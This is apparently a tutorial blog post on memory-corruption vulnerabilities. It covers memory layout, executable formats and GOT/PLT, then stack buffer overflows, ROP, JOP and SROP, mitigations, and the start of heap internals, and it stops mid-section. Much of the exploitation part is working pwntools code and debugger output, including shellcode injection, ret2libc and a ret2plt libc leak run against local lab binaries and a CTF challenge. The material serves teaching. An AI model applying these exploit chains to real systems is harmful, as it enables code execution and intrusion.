Skip to content

Memory vulnerabilities

To understand memory-related vulnerabilities, you need to know a little bit about the memory itself.

What is random access memory (RAM) ?

The RAM is just a big table of bytes, and each byte has its own address :

Address      Content (1 byte = 8 bits)
0x0000       0x7F
0x0001       0x45
0x0002       0x4C
0x0003       0x46

In 32-bit an address is 4 bytes long, and in 64-bit it's 8 bytes.

How data are stored in RAM

In x86/x86-64 architecture, data that needs more than 8 bits to be stored is stored in little-endian format: the byte of the lowest power is stored in the lowest address :

We need to store 0x0804853d at the address 0x0000 :
Address      Content
0x0000       0x3d
0x0001       0x85
0x0002       0x04
0x0003       0x08

How do programs work with RAM

When the program runs, it thinks it has all the RAM to itself, from address 0 to the maximum. This is false. The kernel and the MMU (Memory Management Unit, in the CPU) give it a private virtual address space.

That's why two different programs can store data at the address 0x0002 ; this is not the same physical address.

PROG 1 :
Address      Content
0x0000       0x3d
0x0001       0x85
PROG 2 :
Address      Content
0x0000       0x13
0x0001       0xe5

The MMU distributes memory by page (usually 4KB), and a program may require multiple pages. Each page is allocated a combination of R (read), W (write), and X (execute) permissions. This is a crucial security point, as it is both useless and dangerous for certain sections to be executed or overwritten.

The code (in the .text section) is typically readable and executable, but you can't overwrite it.

Conversely, the stack and heap (sections for the data used by the program) are readable and writable but not executable, to prevent the user from executing controlled data in this section. This is the point of the "NX bit" protection, which stands for "No-eXecute" (also called DEP "Data Execution Prevention" on Windows). In the absence of this protection, the consequences can be catastrophic, as we will see.

When a program starts, it organizes its memory into sections :

// Generated by Opus 4.8

HIGH ADDRESSES 0x7fff...
________________________

STACK (RW) : Variable used within functions, return value, arguments passed to the function
Grows downwards ↓
________________________

Free space where the stack can grow
________________________

Shared libs (libc, glibc) (RX / RW)
________________________

HEAP (RW) : dynamically allocated data (malloc/free)
Grows upwards ↑
________________________

.bss (RW) uninitialized globals ("int y;")
________________________

.data (RW) globals ("int x = 6;")
________________________

.rodata (R) constants, strings
________________________

.text (RX) the program instructions (code)
________________________

LOW ADDRESSES 0x000000

To create this organization, the loader needs to understand how to put the information in memory from the file.

How is the program loaded into memory?

This is the point of ELF (Executable and Linkable Format for Linux binary), PE (Portable Executable for windows) and Mach-O (for MacOs).

ELF :

| ELF header : architecture (32/64 bits ?) + entry point + where the two tables below are
| Program Header Table : describes segments (used by the loader, at runtime)
| .text, .data, .rodata : content of the program (data + instructions)
| Section Header Table  : describes sections (used by the linker, at compile/link time)

Program Header Table VS Section Header Table : they describe the same content, seen in two different ways.

  • Segments are groups of sections that share the same permissions, packed together so the loader can map them fast. The Program Header Table is the map of them. When you run the binary, the loader reads only this table and does : "take this chunk of file, put it at this virtual address, with the related permissions".

  • Sections are the fine-grained pieces : .text, .data, .bss... The compiler and the linker work with sections. The Section Header Table is the map of them. It is entirely optional and mainly used for debugging; it can be removed to save a few bytes of space (or make reverse engineering more difficult).

PE :

| DOS header (legacy)
| PE header
| Section table : list the sections and their location in the file
| .text : code
| .data 
| .rdata : constants 
| .idata : table of pointers to the DLL functions
| .reloc

About .idata : on Windows it is called the IAT (Import Address Table). It does the same job as the GOT/PLT on Linux.

Mach-O :

| Mach-O header : architecture (32/64 bits ?) + file type (executable, library...) + number of load commands
| Load Commands : describe how to build the process (it's like the program header table for linux)
| TEXT : code + read-only data
| DATA : writable data
| LINKEDIT : raw data used by the linker

How does the program call the printf function ? (GOT/PLT)

When your program calls printf, the printf code is in libc, a shared library loaded separately, at an address unknown at compile time (especially with ASLR). How does the binary know where to jump ?

It can use GOT or PLT.

GOT : Global Offset Table (RW or R), (section .got.plt, just below .bss in memory map). This table is just an array of pointers. Initially, these elements are empty/point to the resolver. Once the function is found, its actual address is written there.

The second call is therefore faster.

PLT : Procedure Linkage Table (RW), (section .plt). This is where the code jumps to be redirected to the function contained in the GOT table.

call printf --> call printf@plt --> jmp [printf@got] -> libc print function

Some attacks, exploit the fact that GOT is writable. (if an attacker replace the address stored in printf@got, they can hook the program flow ; cf Format string). To avoid this problem, we can use RELRO (stands for "RELocation Read-Only"). With Full RELRO, the loader resolves the entire GOT table before launching the program (to retrieve all addresses) and then places this section in read-only. The GOT overwrite attack becomes impossible (the attacker must target something else : return address, function pointers, etc.).

Note : there are two levels. Partial RELRO (only some parts read-only, GOT still writable) and Full RELRO (whole GOT read-only). Only Full RELRO blocks the GOT overwrite.

How does the stack work ?

Some important registers for the stack :

RSP (Stack Pointer) : points to the top of the stack (the lowest address used). RBP (Base Pointer) : points towards the base of the current frame (serves as a stable reference point for accessing local variables and arguments). RIP (Instruction Pointer) : The address of the next instruction to execute. It's call, ret, jmp which modify it.

Each time a function is called, it gets its own little block on the stack : its "frame". The frame holds the function's local variables, its saved old RBP, and the return address.

void hello(int a, int b){
    char buf[8];
    int x;
}

Schema of one frame:

---------------------
  arguments (a, b) 
---------------------
  RIP (return addr)   <-- accessed as [rbp+8]
---------------------
  saved old RBP       <-- RBP
---------------------
  int x               <-- accessed as [rbp-4]
---------------------
  char buf[8]         <-- accessed as [rbp-12]
---------------------
In x86 RIP is at rbp+4

Call and ret flow

main :
    0xA     an_instruction
    0xB     call otherfunction
    0xC     do_a_flip

otherfunction:
    ...
    ret
call pushes the return address (0xC) onto the stack and jumps into the function; ret pops that address back into RIP.

RIP, RSP, RBP are registers, they aren't in RAM, but their values contain RAM addresses.

On x86 arguments are on the stack. But on x64 they are usually in registers (rdi, rsi, rdx, rcx, r8, r9) and if function have more than 6 arguments they are placed in the stack. The return value for its part is placed in rax.

Note that this is a calling convention used so that functions can understand each other and work together. On Linux it's the System V AMD64 ABI (Application Binary Interface) which defines these rules and programming languages like C must respect it.

Buffer overflow

Stack overflow

The stack is the memory zone used by a program to manage everything that is "temporary" during the execution of a function. It works under the last-in/first-out principle.

Example of a stack and the program that generated it :

int main(){
  int var_1 = 14;
  int var_2 = 10;
}
high addresses
-------------
rip : contains the address of the next instruction to execute after the function (return address)
rbp : points to the "start" of the function frame (Base Pointer)
-------------
var_1 : 14 is stored on 4 bytes
var_2 : 10 is stored on 4 bytes
-------------
low addresses
Warning : The real order of the variables on the stack depends on the compiler and is not guaranteed.

Memory overflow problems arise when a program reserves a memory space for data, but does not correctly limit the size of the data written to it. So the value will overwrite the other content in the stack.

This problem can create several behaviors : - Change of the value of an internal variable - Call of a function that was not supposed to be called in the code by writing over rip - Injection of code and execution of it ; by storing a code in a big enough input and writing its address on rip

Change of the value of an internal variable :

Example of vulnerable code :

#include <stdio.h>

int main(){
    int is_admin = 0;

    char buf[10];

    fgets(buf,20,stdin);

    printf("is_admin : %d\n", is_admin);
    printf("buf   : %p\n", buf);
}

Here we reserved 10 times the size of a character (1 byte per char, so 10 bytes) of memory space reserved for "buf", the problem is that fgets(buf, 10, stdin) allows the user to write up to 20 bytes on this space. So this is a buffer overflow.

Indeed if the user enters more than 10 characters, they will overwrite the other variables and will be able to modify their content.

Compilation without protection :

gcc -fno-stack-protector \
    -z execstack \
    -no-pie \
    -Wl,-z,norelro \
    -U_FORTIFY_SOURCE \
    -D_FORTIFY_SOURCE=0 \
    prog.c -o prog

Respect of the buff size : 8*A + null bit (\00) = 9

./prog 
AAAAAAAA
is_admin : 0
buf   : 0x7ffe82f4ab42

If we exceed this limit :

./prog 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
is_admin : 1094795585
buf   : 0x7fff0f637382

Exploitation :

Before reaching is_admin we will have to fill buf :

b'A'*10

The variable is_admin is an integer coded on 4 bytes, so we will set its value to 0001 (1 in hexadecimal coded on 4 bytes). We will have to send this value in the reverse order because on x86 and x86-64 architectures, integers are stored in little-endian : the low order byte is placed at the lowest memory address.

b'\x01\x00\x00\x00'

Final payload :

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*10 + b"\x01\x00\x00\x00")' | ./prog
is_admin : 1
buf   : 0x7ffd931fe662

The order of the declarations in the C code absolutely does not guarantee the order of the variables in the stack. It happens that in our case even if we declare buf before is_admin, the exploit will still work, because compilers tend to place the biggest objects (arrays, structures) at offsets further from rbp, and the scalars (int, char, etc.) closer. In the case where is_admin is after buf in the stack the exploitation is no longer possible.

In this demonstration it was a data-only attacks (we only modify data in the program), we will see later some control-flow hijacking attack.

Call another function in the code :

#include <stdio.h>

void call_me_to_win(){
    printf("You win !");
}

int main(){
    char buf[10];

    fgets(buf,100,stdin);

    printf("buf   : %p\n", buf);
}

The array buf reserved 10 bytes in memory, we can write 100 of them. Let's see what happens if we write a string of more than 10 bytes :

$ pwndbg prog

pwndbg> disass main # we get the assembly code of main to know where to place our breakpoint

Dump of assembler code for function main:
   0x0000000000401151 <+0>:     push   rbp
   0x0000000000401152 <+1>:     mov    rbp,rsp
   0x0000000000401155 <+4>:     sub    rsp,0x10
   0x0000000000401159 <+8>:     mov    rdx,QWORD PTR [rip+0x21e0]
   0x0000000000401160 <+15>:    lea    rax,[rbp-0xa]
   0x0000000000401164 <+19>:    mov    esi,0x64
   0x0000000000401169 <+24>:    mov    rdi,rax
   0x000000000040116c <+27>:    call   0x401040 <fgets@plt>
   0x0000000000401171 <+32>:    lea    rax,[rbp-0xa]
   0x0000000000401175 <+36>:    mov    rsi,rax
   0x0000000000401178 <+39>:    lea    rax,[rip+0xe8f]
   0x000000000040117f <+46>:    mov    rdi,rax
   0x0000000000401182 <+49>:    mov    eax,0x0
   0x0000000000401187 <+54>:    call   0x401030 <printf@plt>
   0x000000000040118c <+59>:    mov    eax,0x0
   0x0000000000401191 <+64>:    leave
   0x0000000000401192 <+65>:    ret
End of assembler dump.

pwndbg> b *0x0000000000401171 # address of the lea instruction just after the fgets

pwndbg> run
Starting program: /workspace/prog 
AAAAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW

[ STACK ]────────────────── # state of the stack
00:0000│ rsp rax-6 0x7ffd793d5dc0 ◂— 0x4141000000000000
01:0008│-008       0x7ffd793d5dc8 ◂— 'AAAAAAAAbcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW\n'
02:0010│ rbp       0x7ffd793d5dd0 ◂— 'bcdefghijklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW\n'
03:0018│+008       0x7ffd793d5dd8 ◂— 'jklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW\n'
04:0020│+010       0x7ffd793d5de0 ◂— 'rstuvwxyzBCDEFGHIJKLMNOPQRSTUVW\n'
05:0028│+018       0x7ffd793d5de8 ◂— 'zBCDEFGHIJKLMNOPQRSTUVW\n'
06:0030│+020       0x7ffd793d5df0 ◂— 'IJKLMNOPQRSTUVW\n'
07:0038│+028       0x7ffd793d5df8 ◂— 'QRSTUVW\n'

RIP is placed at RBP+008 and we override it with the string "jklmnopqrstuvwxyzBCDEFGHIJKLMNOPQRSTUVW", so we can deduce our payload :

from pwn import *

payload = b"AAAAAAAAAAbcdefghi" + p64(addr_of_call_me_to_win)

With objdump we get the addresses of call_me_to_win :

$ objdump -D prog
0000000000401136 <call_me_to_win>:
  401136:       55                      push   %rbp
  401137:       48 89 e5                mov    %rsp,%rbp
  40113a:       48 8d 05 c3 0e 00 00    lea    0xec3(%rip),%rax
  401141:       48 89 c7                mov    %rax,%rdi
  401144:       b8 00 00 00 00          mov    $0x0,%eax
  401149:       e8 e2 fe ff ff          call   401030 <printf@plt>
  40114e:       90                      nop
  40114f:       5d                      pop    %rbp
  401150:       c3                      ret

We will take the address of the lea instruction "0x40113a" to avoid alignment problems that we will talk about right after :

from pwn import *

payload = b"AAAAAAAAAAbcdefghi" + p64(0x40113a)

open("payload","wb").write(payload)

The structure of the program is a bit broken but we won !

./prog < payload
buf   : 0x7ffe3add1cf6
You win !
buf   : 0x7ffe3add1d0e
[1]    3211 segmentation fault (core dumped)  ./prog < payload_4

Alignment problem

The reason why we have a segfault type error is because we misaligned the stack. The linux ABI convention requires that RSP + 8 be a multiple of 16 when calling the call instruction. The reason for this necessity is that some functions like printf use instructions like movaps ("Move Aligned Packed Single-precision floats" : an instruction that transfers 128 bits at once between an XMM register and memory).

One of the ways to avoid this problem is therefore like in the previous demonstration to jump directly to the instruction that interests us (and take the risk that the program crashes and does not do everything we want after this crash). Or to realign by reusing a ret present in the program which isolated will simply add +8 to the position of RSP and so make sure that it is a multiple of 16.

from pwn import *

ret_gadget = 0x40101a          # adresse of a ret found in the binary
target     = 0x401136          # the address of call me to win

payload  = b"AAAAAAAAAAbcdefghi"
payload += p64(ret_gadget)     # aligns the stack: consumes 8 bytes
payload += p64(target)         # then jumps to the function

Inject a shellcode and execute it

If there is no interesting function to call in the program, and the stack is executable (cf : protection). We can inject our own code and make rip point to it to take control of the program. The input also needs to be big enough.

Example with challenge 4 of PWN101 on try hack me :

$ python3
>>> from pwn import *
>>> context.binary = binary = "pwn104"
[*] '/workspace/pwn104'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled on new kernels
    PIE:        No PIE (0x400000)
    Stack:      Executable             <--------------------------- the stack is executable
    RWX:        Has RWX segments
    Stripped:   Noid 15466
[*] Stopped process '/workspace/pwn104' (pid 15466)

We use our very long string to check from when we manage to write on rip, and we observe that it is after 88 bytes.

The address of the buffer changes at each execution of the program, but the creator of the CTF being nice they display it at the launch of the program :

       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 104          

I think I have some super powers 💪
especially executable powers 😎💥

Can we go for a fight? 😏💪
I'm waiting for you at 0x7ffd74ca2750

We can get it like this :

addr = int(p.recvline().strip().decode().split(" ")[-1], 16)

For the shellcode (the code that we will inject in the program) we will use the one provided by the python lib pwntools. We can check its content like this :

from pwn import *

ShellCode = asm(shellcraft.sh())

payload = ShellCode

open("shellcode", "wb").write(payload)
$ ndisasm -b 64 shellcode
; build the /bin///sh string on the stack
00000000  6A68              push byte +0x68 ; 'h'
00000002  682F2F2F73        push qword 0x732f2f2f ; '///s
00000007  682F62696E        push qword 0x6e69622f ; "/bin"

; esp is the stack pointer so ebx = "/bin///sh"
0000000C  89E3              mov ebx,esp

; 0x01010101 XOR 0x1016972 = 6873 = "sh"
0000000E  6801010101        push qword 0x1010101
00000013  81342472690101    xor dword [rsp],0x1016972
; "sh" is sent to the top of the stack

; NULL is placed at the top of the stack
0000001A  31C9              xor ecx,ecx
0000001C  51                push ecx

; State of the stack :
; -----------
; NULL
; sh
; -----------

0000001D  6A04              push byte +0x4 ; 4 is placed on top of the stack

0000001F  59                pop ecx ; ecx = 4
; why don't we directly do mov ecx, 0x4
; because "mov ecx, 0x4" makes more bytes and we try to produce the most optimized code

00000020  01E1              add ecx,esp ; ; ecx = esp + 4, ECX now points to "sh"
00000022  51                push ecx ; the address of "sh" is placed on top of the stack

00000023  89E1              mov ecx,esp ; ecx points to argv = {"sh", NULL}
00000025  31D2              xor edx,edx ; edx = 0

00000027  6A0B              push byte +0xb ; 11 placed on top of the stack
00000029  58                pop eax ; eax = 11

; trigger of the syscall execve("/bin/sh", argv, NULL)
; argv = {"sh", NULL}
0000002A  CD80              int 0x80

Final script :

from pwn import *

context.binary = binary = "pwn104"

ShellCode = asm(shellcraft.sh())

p = process()
p.recvuntil("I'm waiting")
addr = int(p.recvline().strip().decode().split(" ")[-1], 16)

payload = ShellCode
payload += b'A' * (88 - len(payload))
payload += p64(addr)

p.sendline(payload)
p.interactive()
# python3 pwn104_solve.py
[*] '/workspace/pwn104'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled on new kernels
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[+] Starting local process '/workspace/pwn104': pid 22334
/workspace/404.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("I'm waiting")
[*] Switching to interactive mode
$ echo "We get a shell !"

In our example the shellcode is going from the getf() function to the read(), this is the easy case. Because if the shellcode is transferred and passes through several functions, "forbidden" characters within it can break it. For example "\x00" "/r" or other end of lines/files symbols.

The problematic parts of the payload can be encoded and placed within functions that will decrypt them :

payload_part_1 + decode(encoded(\x00)) + payload_part_2

You can do this very simply with pwntools :

from pwn import *

context.arch = 'amd64'

shellcode = asm(shellcraft.sh())

shellcode_with_forbiden_chars_encoded = encoders.encode(shellcode, avoid=b"\x00")

This precise case is simpler because we know the exact address of the location of our payload (there is no ASLR). In the opposite case or if other complexity is added it can be necessary to use two techniques to manage to load our shellcode.

The first one consists of placing at the beginning of our shellcode a big quantity of "nop" instructions, this way even if we do not know the exact address of our payload, if we land on a nop it's won :

other_instruction
other_instruction
nop
nop <------- we land on this address
nop <--- which sends to this one
nop <-- etc...
nop
payload <--- until the payload

To do this via pwntools :

from pwn import *

shellcode = asm(shellcraft.sh())

nop = asm('nop') * 40 # nop instructions

payload  = nop
payload += shellcode

This technique still needs to know at least in which zone the payload is.

If we are in a case where we know where a location we control is, that this one is too small, but that we have another bigger location whose address we do not know. Then we can place a "hunter" that will look for the "egg" that precedes the shellcode.

Memory location controlled and whose address we know BUT too small for the payload
    We place there a code called "hunter" that will look for the start of the shellcode

Memory location controlled whose address we DO NOT KNOW BUT big enough for the payload
    We place an egg (typically "helloiamhere") at the start of the shellcode
0x4000 : hunter shellcode <----- we place 0x4000 in RIP
0x4001
0x4002
0x4003
0x400..
0x4085 "helloiamhere" <------ the hunter goes through the memory and finds the address 0x4085 that it will place on RIP
0x4001 rest of the shellcode

from pwn import *

context.arch = 'amd64'

egg = b'hello'

# Big buffer with unknown address
shellcode = asm(shellcraft.sh())
egg_payload = egg * 2 + shellcode # we place it twice before the shellcode to avoid the hunter landing on its own copy in memory

# Small buffer with known address
hunter = asm(shellcraft.amd64.linux.egghunter(egg))

We inject the egg then the hunter and we place the address of the hunter on RIP.

But what can we do in the case where the stack is not executable ?

Reuse existing functions

In the case where the stack is definitely not executable. We will try to use what exists in the rest of the program.

ret2libc

In the case where no other protection than NX exists we will use ret2libc. On x86-32 we overwrite the return address (ESP in x86) with system's and prepare its "/bin/sh" argument. But on x86-64 you first go through a pop rdi ; ret gadget to put "/bin/sh" into rdi. Because on x64 the calling convention wants the arguments to be passed via the registers. The system() function expects to receive the command to execute via rdi.

Example in x86-64 :

// Generated by Opus 4.8
#include <stdio.h>

__attribute__((naked)) 
void gadget(void)
{
    __asm__(
        "pop %rdi\n" // this is just to create a rop gadget
        "ret\n"     // without generating a bunch of code that create this assembly case
    );
}

void vuln(void)
{
    char buffer[64];

    puts("Input:");
    gets(buffer);
}

int main(void)
{
    setbuf(stdout, NULL);
    vuln();
    return 0;
}

gcc -fno-stack-protector -no-pie -o ret2libc_64bits ret2libc_64bits.c
# We are looking for system address to put bin/bash in it and get a shell
pwndbg> info address system
Symbol "system" is at 0x730ab380a490 in a file compiled without debugging.

# We are looking for the string "/bin/sh" that is likely present in the libc
pwndbg> search -t string "/bin/sh"
Searching for string: b'/bin/sh\x00'
libc.so.6       0x730ab3955031 0x68732f6e69622f /* '/bin/sh' */
As the programme has no PIE and I deactivate ASLR on my system (big trouble here I had to do that outside of Exegol), it will always be arranged in this way at this address in the virtual memory.

from pwn import *

context.binary = "./ret2libc_64bits"

elf = context.binary
rop = ROP(elf)

POP_RDI = rop.find_gadget(["pop rdi", "ret"])[0]

SYSTEM = 0x730ab380a490
BINSH  = 0x730ab3955031

p = process()

OFFSET = 72 # 64 + 8 bytes to reach RSP (the data after the offset will be directly on RSP)

payload  = b"A" * OFFSET
payload += p64(POP_RDI)
payload += p64(BINSH)
payload += p64(SYSTEM)

p.sendline(payload)
p.interactive()

State of the stack after the exploit :

OFFSET
---------- 
address of <----- 0 : RSP : we overwrote RSP so that it continues on our flow
    "pop rdi ; ret" instruction  <----- 1 : we pop the value at the next address on the stack (bin/sh) into rdi
----------
"/bin/sh"      <----- 2 : does not exist anymore at this stage in the stack it was placed in rdi
----------
system         <----- 3 : system(rdi) = system("/bin/sh")

We got a shell !

ret2plt

As soon as ASLR is active (in 99% of modern systems), the base of the libc changes at each execution, so these addresses are unknown in advance and the previous exploit does not hold anymore.

On the other hand, if the binary is compiled without PIE, everything that belongs to it (.text, .plt, .got.plt) stays at a fixed address from one execution to another. This is where ret2plt comes in : we reuse the entries of the PLT (cf : How does the program call the printf function ? (GOT/PLT)) ; whose address is fixed, to call a function already imported.

If the binary does not import system, we will try to leak a libc address to determine during the execution of the program the address of system to get a shell.

The exploitation is done in two parts : We call puts@plt (which allows to display text) by passing it as argument the address puts@got. As puts@got contains the address resolved at execution of puts in the libc, and the organization of the libc is static, we can get the address of system.

We do not know the real address of puts before the execution of the binary. On the other hand, the PLT and GOT sections of the binary have fixed addresses. By calling puts@plt with the address of puts@got as argument (placed in RDI on x86-64), puts displays the content of this GOT entry, which corresponds to the real address of puts in the libc. This address leak then allows to compute the base of the libc and to prepare the rest of the exploitation.

For the leak to be useful, the puts call must return into something we still control (otherwise the program displays the address then stops or continues its flow on a part we do not control).

This time we compile without PIE but we leave ASLR active :

gcc -fno-stack-protector -no-pie -o ret2plt ret2plt.c

Contrary to the previous ret2libc, we no longer hardcode any libc address : we get them at execution.

from pwn import *

context.binary = elf = ELF("./ret2plt")
libc = elf.libc # We specify the libc linked to the binary because the position of the functions present in it depends on it

rop = ROP(elf) # Gets all the ROP gadgets of the binary

POP_RDI = rop.find_gadget(["pop rdi", "ret"])[0] # pop rdi, ret like for ret2libc
RET = rop.find_gadget(["ret"])[0] # this is a magic ret that will be useful to us later

OFFSET = 72

p = process()

# leak of the libc address of puts via puts@plt(puts@got)
payload  = b"A" * OFFSET
payload += p64(POP_RDI)
payload += p64(elf.got["puts"]) # rdi = address of the GOT entry of puts
payload += p64(elf.plt["puts"]) # puts(puts@got)
payload += p64(elf.symbols["vuln"]) # we replay vuln for step 2

p.sendlineafter(b"Input:", payload)
data = p.recv(timeout=1)
print(repr(data))

leak = u64(p.recvline().strip().ljust(8, b"\x00")) # we parse the response to get the addresses
libc.address = leak - libc.symbols["puts"] # and we determine the libc addresses from this point
log.success(f"puts libc @ {hex(leak)}")
log.success(f"libc base @ {hex(libc.address)}")

# classic ret2libc, now that the libc base is known
payload  = b"A" * OFFSET
payload += p64(RET) # system triggers a movaps that requires 16-byte aligned rsp
payload += p64(POP_RDI)
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libc.symbols["system"])

p.sendlineafter(b"Input:", payload)
p.interactive()

State of the stack during step 1 :

OFFSET
----------
address of        <----- 0 : RSP, we continue on our flow
    "pop rdi ; ret" instruction  <----- 0 bis : we pop the next value into rdi
----------
puts@got           <----- 1 : rdi = puts@got address in memory
----------
puts@plt           <----- 2 : puts(rdi)
----------
vuln               <----- 3 : we relaunch vuln for step 2

[Jul 24, 2026 - 10:04:56 (CEST)] exegol-demo /workspace # python3 exploit_ret2plt.py
[*] '/workspace/ret2plt'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[*] Loaded 6 cached gadgets for '/workspace/ret2plt'
[+] Starting local process '/workspace/ret2plt': pid 1554
b'\n'
[+] puts libc @ 0x75d734d0a980
[+] libc base @ 0x75d734c93000
[*] Switching to interactive mode

$ echo "hello"
hello

ret2csu

What to do if the program does not contain the gadgets because too small ? This is an issue that I had for my ret2libc demonstration and I had to do a kind of tricks for the demo. But there is still a way to build the gadgets from the __libc_csu_init function automatically generated by the compiler, its role is to initialize the execution environment of the C library just before the main() function.

It contains the following pieces of code :

pop rbx
pop rbp
pop r12
pop r13 ; here r13 is pop'ed
pop r14
pop r15
ret

And :

mov rdx, r15
mov rsi, r14
mov edi, r13 ; here r13 is placed in edi the 32bits part of rdi
call QWORD PTR [r12+rbx*8] ; call r12
[...]
add rbx, 1
[...]
cmp rbp, rbx
In some version this function is not generated in the same way.

And what if i tell you we can create "pop rdi, ret" behavior with this bunch of pieces ?

We know the address of __libc_csu_init in advance because it is part of the .text section which does not move without PIE.

The stack that we aim for (if we just want to do a ret2csu then ret2libc without ret2plt) :

------
Gadget 1 <--- RIP
0             (popped into rbx)

1             (popped into rbp) we must put 1 because in the rest of gadget 2 there is cmp rbp, rbx where rbx=1 and we need to pass to get out of this loop.

[ptr_system]  (popped into r12) Gadget two as a reminder does "call QWORD PTR [r12 + rbx*8]" so it will call to the address present at r12+rbx*8 and rbx = 0 so it's perfect.

["/bin/sh"]   (popped into r13, will be copied into edi by Gadget 2)
0             (popped into r14)
0             (popped into r15)
Gadget 2      (reached by the ret of Gadget 1)
------

Reuse instruction fragments ROP, JOP and SROP

ROP (return oriented programming)

As a reminder ; the "ret" instruction pops a value from the stack and jumps on it.

main:
    0x1    call a; (0x2 is placed on the stack)
    0x2    another_instruction;

a:
    0x45   do_something;
    0x46   ret; (0x2 is popped and we go to this address)

A gadget in return-oriented programming (ROP) is a short sequence of instructions that ends with ret :

usefull_instruction(s)
ret

For example :

pop r12
ret

If we fill the stack with a list of gadget addresses, each ret automatically links to the next. The stack is no longer data but a list of instructions to be executed.

It turns out that with all the instructions, in most programs ROP is turing complete, meaning that you can write any program (even if the ultimate goal is often to call /bin/sh).

For example if we want to do instruction 1, 2, 3, because combined they form a useful sequence to launch our exploit and are all followed by a ret.

0x0041    instruction_3
          ret

[...]

0x0089    instruction_1
          ret

[...]

0x0101    instruction_2
          ret

We place in the stack :

0x0089 <--- and finnaly the instruction 1
0x0101 <--- then the instruction 2
0x0041 <--- first the instruction 3

The instruction 1 will be the first to be pop out and the associated ret will pop instruction 2 etc...

AS A REMINDER (because at this stage of writing the article I had a bit forgotten it) :

RIP = where the processor is currently executing

RSP = top of the stack

RBP = base of the current frame

During a ret the CPU does :

RIP = *RSP
RSP += 8

So to hook the flow of the program we try to write on RSP (we cannot write on RIP it is the current address).

The problem with ROP is that the space needed for our chained gadget list can be huge and our controllable space very small. In the same way we can control a big memory zone but very far (even outside) from the future path of RSP.

The "stack pivot" technique consists therefore of placing RSP on the wanted address via a gadget that modifies it.

Let's imagine :

------------ <-------------- RSP
controllable memory zone A (there is room for 3 gadgets)
------------

------------
controllable memory zone B (there is room for 300 gadgets)
------------

We will place in the memory zone A a gadget to place RSP on the memory zone B containing our ROP exploit.

JOP (jump oriented programming)

The second problem this time impossible to solve with ROP is when the stack is watched via a shadow stack, via CFI or any other mechanism that checks for example that each ret returns well to the origin of a call (cf : protections).

In this case we will use JOP (jump-oriented programming), it's exactly the same mechanism as ROP but with jmp blocks instead of the ret to move from one instruction to another. This specificity adds a lot of complexity because we have to find a way to control the movements while doing the useful actions.

SROP (sigreturn-oriented programming)

Does not try to chain gadgets. "It hijacks a legitimate mechanism of the kernel in order to restore an execution context controlled by the attacker. It is particularly suited when a call to rt_sigreturn can be triggered and the classic ROP gadgets are rare."

To understand this chapter you must already know how Linux manages the "signals". By the way SROP does not work on Windows.

A signal is sent to a process to tell it that a particular event happened (division by zero (SIGFPE), invalid memory access (SIGSEGV), keyboard interruption (SIGINT). When receiving this signal the kernel interrupts the process and starts the processing "signal handler". Once done the program resumes at the place where it was stopped by restoring the execution context via the syscall "rt_sigreturn".

This execution context is the state of the registers :

RAX
RBX
RCX
RDX
RSI
RDI
RBP
RSP
RIP
R8-R15
RFLAGS

It is saved in a structure sigframe or rt_sigframe stored on the stack.

If we overwrite this structure, we trigger a rt_sigreturn (syscall 15), and the kernel loads our crafted context, this allows us to avoid having to chain dozens of gadgets to modify the value of the registers to prepare a syscall execve. We just have to load this context for example :

RAX = 59 ; execve
RDI = "/bin/sh" ; path
RSI = 0 ; argv
RDX = 0 ; envp
RIP = address of a syscall gadget

For this to work so well there must be a syscall gadget in the code (which is a bit rare because the majority of C programs only call libc functions which contain syscalls but with ASLR their address is not determined).

Detection and protection

To detect a buffer overflow if we do not have the high level code of the application, and so directly in the assembly we have to look for things like this :

    mov  rdx, [stdin]
    lea  rax, [rbp-0xa]     ; stdin = 10 (0xa in hexa)
    mov  esi, 0x32          ; size = 50 (0x32 in hexa)
    mov  rdi, rax
    call fgets              ; fgets(buf, 50, stdin)

To avoid this type of vulnerability instead of using the functions gets/strcpy/sprintf we will have to use functions that check the correct size fgets/strncpy/snprintf. We can also compile with the flags -fstack-protector-strong and -D_FORTIFY_SOURCE=2 (cf : protections chapter).

Heap overflow

Memory allocation in detail

As a reminder, the heap is used to perform dynamic memory allocation, for example through malloc :

When we do this :

char *buf = malloc(16);

The glibc library reserve a chunk that look like that (in 64 bits) :

chunk-8    size of the previous chunk
chunk      size + P,M,A flags
pointer    data

If we store the size of the previous chunk, it's so that during the freeing of this space (with free) in the case where the previous chunk is free (specified by the flag P (PREV_INUSE)) glibc can merge them. WARNING As long as the previous chunk is used (flag P=1), glibc uses this space (8 bytes) as storage for the previous chunk. Optimization which as we will see can create bugs (cf : Off-by-one).

For very large allocations, glibc directly requests a page from the kernel. The chunk is then distributed via mmap(). The "IS_MMAPPED" flag specifies this case.

The "A" flag is used for multi-threaded programs.

When memory space is freed :

free(buf)
chunk-8    size of the previous chunk
chunk      size + P,M,A flags
pointer    fd  (forward pointer)
pointer+8  bk  (backward pointer)
           data (old data, left as is)

glibc does not erase the content of the chunk. It is marked as available for reuse and put in a list of free chunks called "bin".

To manage this "bin" list, glibc uses the abstract data type of the linked list ( cf : your NSI courses O_o ) - fd (forward) : address of the next free chunk in the bin. - bk (backward) : address of the previous free chunk.

The bins, what is it ?

